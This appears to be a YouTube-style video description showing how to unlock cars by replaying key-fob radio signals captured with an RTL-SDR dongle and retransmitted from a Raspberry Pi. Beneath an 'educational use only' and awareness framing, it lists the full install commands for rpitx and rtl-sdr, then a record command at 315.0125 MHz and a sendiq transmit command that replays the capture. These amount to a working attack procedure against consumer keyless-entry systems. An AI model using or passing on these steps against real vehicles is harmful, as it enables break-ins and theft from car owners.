Unlock Cars with a Raspberry Pi And SDR - Replay attack

FOR EDUCATIONAL USE ONLY

This video is a demonstration on how with a simple RTL-SDR, and a raspberry pi, you can conduct a replay attack with many devices that utilize RF frequency to send information over the air.
This video also serves to bring awareness of modern day vulnerabilities when using these devices as a means to secure your possessions.

Devices used:
https://www.raspberrypi.org/products/raspberry-pi-3-model-b-plus/
https://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/

Commands used:
RPITX INSTALL:
sudo apt-get update
sudo apt-get install git
git clone https://github.com/F5OEO/rpitx
cd rpitx
./install.sh

RTL_SDR INSTALL:
git clone https://github.com/keenerd/rtl-sdr
cd rtl-sdr/
mkdir build
cd build
cmake ../ -DINSTALL_UDEV_RULES=ON
make
sudo make install
sudo ldconfig

RECORD RF:
rtl_sdr -s 25000 -g 35 -f 315.0125e6 filename.iq

TRANSMIT RF:
sudo ./sendiq -s 25000 -f 315.0125e6 -t u8 -i filename.iq
You can buy the parts used in the video with the links below.
RTLSDR
https://amzn.to/3fXnxNM

Raspi Kit
https://amzn.to/30BcJi0

Видео Unlock Cars with a Raspberry Pi And SDR - Replay attack канала ModernHam